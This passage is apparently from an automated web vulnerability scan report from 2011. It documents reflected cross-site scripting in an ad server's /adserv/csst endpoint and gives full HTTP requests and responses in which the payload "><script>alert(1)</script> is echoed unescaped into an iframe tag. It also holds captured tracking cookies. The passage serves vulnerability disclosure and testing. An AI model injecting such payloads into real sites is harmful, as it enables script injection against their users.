m501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxXUpG3Nm00eine4tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usx01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qw0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j3i0183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Set-Cookie: vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e24ru4y1032107249v4u10pj10e22te10tq10a24tmhw103210924f69z103210f24pq44103210a24n86o103210d24eflo218e104203210724eyja103210e24na8i103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24uzdp103210b24dret103210724gqhl103210923sti21hj10a203210e2451gt10pj10e24styu103210924cnyl103210g24o2lt103210a24fj52103210924nnav103210f24m1v2103210a23eoh127p10l24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b23l4f103210a24kd6k103210c24hqyp103210i2; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:58 GMT; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Tue, 10 May 2011 14:03:58 GMT
Content-Length: 3562

<IFRAME SRC="http://ad.doubleclick.net/adi/N5371.media6/B5451956.2;sz=160x600;ord=1305036238501;click0=http://ad.media6degrees.com/adserv/clk?tId=5002181595591526|cId=6522|secId=2834|height=600|pubId=
...[SNIP]...
SUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl=4bf97"><script>alert(1)</script>5bd5f31a41a" WIDTH=160 HEIGHT=600 MARGINWIDTH=0 MARGINHEIGHT=0 HSPACE=0 VSPACE=0 FRAMEBORDER=0 SCROLLING=no BORDERCOLOR='#000000'>
...[SNIP]...

4.101. http://ad.media6degrees.com/adserv/csst [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.media6degrees.com
Path:	/adserv/csst

Issue detail

The value of the ai request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b5e5"><script>alert(1)</script>b97520b2442 was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adserv/csst?adType=iframe|secId=2834|width=160|height=600|ec=1|ctrack=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BBOMbDD7JTcfMBpOv6QaAhpCCDueR9Y8C17SBmDHnxKuqagAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi05OTE0OTkyOTE0OTEwODQ3oAGLgMjrA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQoxNjB4NjAwX2FzyAEJ2gFzaHR0cDovL3d3dy5rbm93eW91cm1vYmlsZS5jb20vZmVhdHVyZXNlYjAxYiUyMi1hbGVydCglMjJYU1MlMjIpLSUyMmMxZDNhNThmOThhLzg4MTc0MC9nb29nbGVfaW9fd2hhdF90b19leHBlY3QuaHRtbJgCjgfAAgXIAtHRzwyoAwHoA68I6AOGA-gDTugDrwL1AwYAAMQ2b5e5"><script>alert(1)</script>b97520b2442&num=1&sig=AGiWqtzXZbXKLLLPJsX9FAPr96NeE9MQ5w&client=ca-pub-9914992914910847&adurl= HTTP/1.1
Host: ad.media6degrees.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipinfo=2lkkjj40zijsvn5yhbqbe90httd3GK520752HF6QnyynflFbsgYnlreGrpuabybtvrf00; acs=016020a0e0f0g0h1ljtllpxzt115sj2xzt1tr37xzt1tr37xzt115sj2xzt113zye; adh=1lkkxr816054tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; clid=2ljtllp01170xrd52zkwjuxh15sj201a3m050k0d50w; rdrlst=43n0pahlkze3o000000043m04157rlklhm40000000h3m05144qlkze3o000000043m04157olkxlm50000000c3m0513y7lkze3o000000043m0415sklkkpqq0000000p3m050hsnlkze3o000000043m0412nslkxrxz000000063m050x1blkkpqq0000000p3m050hsplkkpqq0000000p3m0512gdlkkyy00000000l3m050morlkkxrb0000000m3m0514k6lkxlm50000000c3m050w35lkze3o000000043m0413pylkze3o000000043m0414rwlkxlm50000000c3m051628lkze3y000000023m0214khlkxlm50000000c3m051196lkkkbe0000000v3m0513x4lkxrxz000000063m0513qmlkze3y000000023m021195lkkpqh0000000q3m051194lkkjj40000000w3m050dlxlkb5u2000000103m0516nulkxlm50000000c3m051193lkkplo0000000s3m0513q8lkze3y000000023m020p46lkkpqq0000000p3m051192lkkpke0000000u3m05008slklhm40000000h3m0516oilkxlm50000000c3m050moylkl0r50000000i3m050zg4lkze3y000000023m0213qwlkze4r000000013m01144elkze3o000000043m0412ftlkxrxz000000063m0510poljyxb4000000173m050e6llkl0r50000000i3m05138olkxrxz000000063m0516dnlkze3o000000043m04167ulkxq41000000073m0514qllkxlm50000000c3m05159olk8fax000000123m0515halkxlm50000000c3m050m0ulkl0r50000000i3m050m0plkkxrb0000000m3m0516e6lkxnbq0000000b3m0513zblkze3y000000023m0214xnlkxlm50000000c3m05167blkl0r50000000i3m0516dxlkze3o000000043m041391lkxrxz000000063m0515zhlkze3y000000023m021672lkkxrb0000000m3m050ycrlkncow0000000g3m05158mlkze3o000000043m040okclkze3o000000043m041015lkze3y000000023m0213lelkxrxz000000063m0513yolkze3o000000043m04137rlkkpqq0000000p3m050ojulkze3o000000043m041240lkxrxz000000063m0514ozlkxlm50000000c3m0514bmlkxrxz000000063m0514j7lkxlm50000000c3m0514bzlkxlm50000000c3m050ni1lkb5u2000000103m0511pjlkxrxz000000063m050p01lkze3o000000043m0415holkxlm50000000c3m050m7alkkxrb0000000m3m0513mklkxrxz000000063m050m7flkkyyl0000000k3m05101ulkze3o000000043m040zoklkze3o000000043m0412zglkxrxz000000063m0513lxlkxrxz000000063m050zp4lkze3o000000043m04148ilkxlm50000000c3m050xvclkze3o000000043m0412yxlkxrxz000000063m0515iglkxq0l000000083m0513n7lkze3y000000023m0216s2lkxpyu000000093m0514hplkxlm50000000c3m050znmlk3462000000153m0514hclkxlm50000000c3m050wd7lkze3o000000043m04102plkxrxz000000063m0510tylkkpku0000000t3m050p1blkb5u2000000103m050p1alkze3o000000043m0400bvlk9pe8000000113m0515xylk60qe000000143m0510lxlkxrxz000000063m05103blkxrxz000000063m0510telkd7nq0000000z3m0516rslkxppm0000000a3m050c9slk9pe8000000113m0513mxlkze3o000000043m0412emlkze3o000000043m0410rdlkdkly0000000x3m05126qlkxrxz000000063m050mj2lkkxrb0000000m3m050kualkkpqq0000000p3m05163plkxlm50000000c3m050z9zlkze3y000000023m020z9xlkze3o000000043m040m45lkl0r50000000i3m050m40lkkxrb0000000m3m050zqylkxrxz000000063m050mjelkkxrb0000000m3m0512qnlkkplt0000000r3m050ovslkze3o000000043m0412x6lkxrxz000000063m050bo8lkb5u2000000103m0514e9lkze3o000000043m040mjjlkl0r50000000i3m051342lkze3y000000023m020lw5lkb5u2000000103m0516aulkze3o000000043m0415k9lkxlm50000000c3m0516atlkxlm50000000c3m051203lkb5u2000000103m05163clkxlm50000000c3m051204lkkyy00000000l3m050afqlkze3o000000043m040o0vlkkpqx0000000o3m050z2ilkkxrb0000000m3m0513ovlkxrxz000000063m05; sglst=2280sbpelkxlm50000000c3m050k0c50cdsnlkxlm501sim00c3m050k0c50carllkxlm501sim00c3m050k0c50ccg5lkxlm501sim00c3m050k0c50c9rslkkpke0eokd00u3m050k0d50uam5lkkxr8002zw00n3m050k0d50ncd4lkxlm5006bu00c3m050k0c50ccrglkxlm501sim00c3m050k0c50ccnolkxlm501sim00c3m050k0c50cabelkxlm5006bu00c3m050k0c50cdd8lkxlm5006bu00c3m050k0c50ccy2lkxlm501sim00c3m050k0c50caoplkb5u209jqc0063e000j00500cnxlkxlm501sim00c3m050k0c50cbq3lkxlm501sim00c3m050k0c50cbvplkxlm5006bu00c3m050k0c50caoilkxlm501sim00c3m050k0c50c942lkb5u20mfs300o3l000k005008ndlkb5u20mfs300o3l000k005009ullkxlm501sim00c3m050k0c50cbvclkxlm501sim00c3m050k0c50cc5flkxlm501sim00c3m050k0c50c56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00c3m050k0c50cawklkxlm501sim00c3m050k0c50casulkb5u209jqc0063e000j00500crplkxlm501sim00c3m050k0c50casqlkxlm501sim00c3m050k0c50cc5rlkov6e0000000f3m050k0d50faw8lkxlm501sim00c3m050k0c50cc60lkxlm501sim00c3m050k0c50cdc4lkxlm501sim00c3m050k0c50cd26lkxlm501sim00c3m050k0c50cdnjlkxlm501sim00c3m050k0c50cbrilkxlm501sim00c3m050k0c50ccbclkxlm501sim00c3m050k0c50cc85lkxlm501sim00c3m050k0c50ccsslkxlm501sim00c3m050k0c50cc80lkb5u209jqc0063e000j00500ag2lkd7nq0m6h100z3m050k0d50wc1elkxlm501sim00c3m050k0c50cc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00c3m050k0c50cc8flkxlm501sim00c3m050k0c50ca6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00c3m050k0c50c9z6lkxlm501sim00c3m050k0c50cdbtlkxlm501sim00c3m050k0c50cdyllkxlm501sim00c3m050k0c50c0kllklhm40c4010053l000k005009q4lkxlm501sim00c3m050k0c50c9q5lkb5u20mfs300o3l000k00500b3zlkxlm501sim00c3m050k0c50c0t7ljyxb410gtn0173m050k0d50wdgflkkpke0eokd00u3m050k0d50u9mjlkxlm50000000c3m050k0c50cbo0lkb5u20o8ap0103m050k0d50wbo1lkkyy00cmo50093l000k005009pglkxlm501sim00c3m050k0c50ccwalkxlm501sim00c3m050k0c50cd86lklhm40c4010053l000k00500d84lkxlm501sim00c3m050k0c50cdqllkxlm501sim00c3m050k0c50cdz3lkxlm5006bu00c3m050k0c50ccm6lkxlm501sim00c3m050k0c50ccxdlkxlm501sim00c3m050k0c50c719lkb5u20o8ap00i3m050k0c50d71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00c3m050k0c50ccc3lkxlm501sim00c3m050k0c50cdgilkb5u209jqc0063e000j00500cthlkxlm501sim00c3m050k0c50c4wclkb5u20o8ap00i3m050k0c50d8eklkkpke0cw1r00i3l000k005005mrlkb5u20mfs300o3l000k00500a0ulkxlm501sim00c3m050k0c50carilkxlm50000000c3m050k0c50cbwjlkkyy00ef6r00l3m050k0d50lcbplkxlm501sim00c3m050k0c50c9gelkxlm501sim00c3m050k0c50c; vstcnt=417k010r174slly127p10f24exp6103210e24tc6l103210e249v4u10pj10e24ru4y103210722te10tq10a24f69z103210f24tmhw103210924n86o103210d24pq44103210a24eflo218e104203210724na8i103210e24eyja103210e24mqca103210e24nsyl103210f24jxig103210f24f9wk103210i24fvio218e20e20f203210f24uzpw118e10f24l16a118e10f24fz24103210924e8bw103210824fsuv103210924fduc218e10a203210e24dret103210724uzdp103210b24gqhl103210923sti21hj10a203210e24cnyl103210g24styu10321092451gt10pj10e24fj52103210924o2lt103210a24nnav103210f23eoh127p10l24m1v2103210a24f7qr218e108203210924uzg6218e100203210024fgv9218e108203210a24tfmw103210b24hqyp103210i24kd6k103210c23l4f103210a2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="COM NAV INT STA NID OUR IND NOI"
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: adh=1lkkxr8160658j30136z01RxD9JCTB+00ein44tmb012v701QWYNRLUMp00egcp4tm3012v701QWJzhCSHC00egcf52rc011qy01mLlY5BlsL003xfa4w5q011qy01mLbKRCxkE003xf64qj9010gs02QopkpBIIf0002zwOyHUBHBSQ000000; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: clid=2ljtllp01170xrd52zkwjuxh15usn01b3m060k0e50x; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: orblb=""; Domain=media6degrees.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rdrlst=43n157rlklhm40000000i3m060pahlkze3o000000053m05157olkxlm50000000d3m06144qlkze3o000000053m0513y7lkze3o000000053m050hsnlkze3o000000053m0515sklkkpqq0000000q3m060x1blkkpqq0000000q3m0612nslkxrxz000000073m060hsplkkpqq0000000q3m0612gdlkkyy00000000m3m060morlkkxrb0000000n3m0614k6lkxlm50000000d3m060w35lkze3o000000053m0513pylkze3o000000053m0514rwlkxlm50000000d3m061628lkze3y000000033m0314khlkxlm50000000d3m061196lkkkbe0000000w3m0613x4lkxrxz000000073m0613qmlkze3y000000033m031195lkkpqh0000000r3m061194lkkjj40000000x3m060dlxlkb5u2000000113m0616nulkxlm50000000d3m0613q8lkze3y000000033m031193lkkplo0000000t3m06008slklhm40000000i3m061192lkkpke0000000v3m060p46lkkpqq0000000q3m060zg4lkze3y000000033m030moylkl0r50000000j3m0616oilkxlm50000000d3m06144elkze3o000000053m0513qwlkze4r000000023m0210poljyxb4000000183m0612ftlkxrxz000000073m060e6llkl0r50000000j3m0616dnlkze3o000000053m05138olkxrxz000000073m06167ulkxq41000000083m06159olk8fax000000133m0614qllkxlm50000000d3m0615halkxlm50000000d3m060m0ulkl0r50000000j3m060m0plkkxrb0000000n3m0616e6lkxnbq0000000c3m0613zblkze3y000000033m0314xnlkxlm50000000d3m06167blkl0r50000000j3m0616dxlkze3o000000053m051391lkxrxz000000073m0615zhlkze3y000000033m031672lkkxrb0000000n3m060ycrlkncow0000000h3m06158mlkze3o000000053m050okclkze3o000000053m051015lkze3y000000033m0313lelkxrxz000000073m0613yolkze3o000000053m05137rlkkpqq0000000q3m060ojulkze3o000000053m051240lkxrxz000000073m0614ozlkxlm50000000d3m0614bmlkxrxz000000073m0614j7lkxlm50000000d3m0614bzlkxlm50000000d3m060ni1lkb5u2000000113m0611pjlkxrxz000000073m060p01lkze3o000000053m0515holkxlm50000000d3m060m7alkkxrb0000000n3m0613mklkxrxz000000073m060m7flkkyyl0000000l3m06101ulkze3o000000053m050zoklkze3o000000053m0512zglkxrxz000000073m0613lxlkxrxz000000073m060zp4lkze3o000000053m05148ilkxlm50000000d3m060xvclkze3o000000053m0512yxlkxrxz000000073m0615iglkxq0l000000093m0613n7lkze3y000000033m0316s2lkxpyu0000000a3m0614hplkxlm50000000d3m060znmlk3462000000163m0614hclkxlm50000000d3m060wd7lkze3o000000053m05102plkxrxz000000073m0610tylkkpku0000000u3m060p1blkb5u2000000113m060p1alkze3o000000053m0500bvlk9pe8000000123m0615xylk60qe000000153m0610lxlkxrxz000000073m06103blkxrxz000000073m0610telkd7nq000000103m0616rslkxppm0000000b3m060c9slk9pe8000000123m0613mxlkze3o000000053m0512emlkze3o000000053m0510rdlkdkly0000000y3m06126qlkxrxz000000073m060mj2lkkxrb0000000n3m060kualkkpqq0000000q3m060z9zlkze3y000000033m03163plkxlm50000000d3m060z9xlkze3o000000053m050m45lkl0r50000000j3m060m40lkkxrb0000000n3m060zqylkxrxz000000073m060mjelkkxrb0000000n3m0612qnlkkplt0000000s3m060ovslkze3o000000053m0514e9lkze3o000000053m050bo8lkb5u2000000113m0612x6lkxrxz000000073m060mjjlkl0r50000000j3m061342lkze3y000000033m030lw5lkb5u2000000113m0616aulkze3o000000053m0516atlkxlm50000000d3m0615k9lkxlm50000000d3m061203lkb5u2000000113m061204lkkyy00000000m3m06163clkxlm50000000d3m060afqlkze3o000000053m050o0vlkkpqx0000000p3m060z2ilkkxrb0000000n3m0613ovlkxrxz000000073m06; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
Set-Cookie: sglst=2280sbpelkxlm50000000d3m060k0d50ddsnlkxlm501sim00d3m060k0d50darllkxlm501sim00d3m060k0d50dcg5lkxlm501sim00d3m060k0d50d9rslkkpke0eokd00v3m060k0e50vam5lkkxr8002zw00o3m060k0e50ocd4lkxlm5006bu00d3m060k0d50dcrglkxlm501sim00d3m060k0d50dcnolkxlm501sim00d3m060k0d50dabelkxlm5006bu00d3m060k0d50ddd8lkxlm5006bu00d3m060k0d50dcy2lkxlm501sim00d3m060k0d50daoplkb5u209jqc0063e000j00500cnxlkxlm501sim00d3m060k0d50dbq3lkxlm501sim00d3m060k0d50daoilkxlm501sim00d3m060k0d50dbvplkxlm5006bu00d3m060k0d50d942lkb5u20mfs300o3l000k005009ullkxlm501sim00d3m060k0d50d8ndlkb5u20mfs300o3l000k00500bvclkxlm501sim00d3m060k0d50dc5flkxlm501sim00d3m060k0d50d56blkb5u20mfs300o3l000k00500bjqlkxlm501sim00d3m060k0d50dawklkxlm501sim00d3m060k0d50dasulkb5u209jqc0063e000j00500crplkxlm501sim00d3m060k0d50dasqlkxlm501sim00d3m060k0d50dc5rlkov6e0000000g3m060k0e50gaw8lkxlm501sim00d3m060k0d50dc60lkxlm501sim00d3m060k0d50ddc4lkxlm501sim00d3m060k0d50dd26lkxlm501sim00d3m060k0d50ddnjlkxlm501sim00d3m060k0d50dbrilkxlm501sim00d3m060k0d50dcbclkxlm501sim00d3m060k0d50dc85lkxlm501sim00d3m060k0d50dcsslkxlm501sim00d3m060k0d50dc80lkb5u209jqc0063e000j00500ag2lkd7nq0m8qm0103m060k0e50xc1elkxlm501sim00d3m060k0d50dc81lkkpke0cw1r00i3l000k005009grlkxlm501sim00d3m060k0d50dc8flkxlm501sim00d3m060k0d50da6slkkpke0cw1r00i3l000k00500dnalkxlm501sim00d3m060k0d50d9z6lkxlm501sim00d3m060k0d50ddbtlkxlm501sim00d3m060k0d50d9q4lkxlm501sim00d3m060k0d50d0kllklhm40c4010053l000k00500dyllkxlm501sim00d3m060k0d50db3zlkxlm501sim00d3m060k0d50d9q5lkb5u20mfs300o3l000k005009mjlkxlm50000000d3m060k0d50ddgflkkpke0eokd00v3m060k0e50v0t7ljyxb410j380183m060k0e50xbo0lkb5u20o8ap0113m060k0e50xbo1lkkyy00cmo50093l000k005009pglkxlm501sim00d3m060k0d50dd86lklhm40c4010053l000k00500cwalkxlm501sim00d3m060k0d50ddqllkxlm501sim00d3m060k0d50dd84lkxlm501sim00d3m060k0d50ddz3lkxlm5006bu00d3m060k0d50dcm6lkxlm501sim00d3m060k0d50dcxdlkxlm501sim00d3m060k0d50d719lkb5u20o8ap00j3m060k0d50e71alkkpke0cw1r00i3l000k00500ctplkxlm501sim00d3m060k0d50dcc3lkxlm501sim00d3m060k0d50ddgilkb5u209jqc0063e000j00500cthlkxlm501sim00d3m060k0d50d4wclkb5u20o8ap00j3m060k0d50ea0ulkxlm501sim00d3m060k0d50d5mrlkb5u20mfs300o3l000k005008eklkkpke0cw1r00i3l000k00500arilkxlm50000000d3m060k0d50dcbplkxlm501sim00d3m060k0d50dbwjlkkyy00ef6r00m3m060k0e50m9gelkxlm501sim00d3m060k0d50d; Domain=media6degrees.com; Expires=Sun, 06-Nov-2011 14:03:48 GMT; Path=/
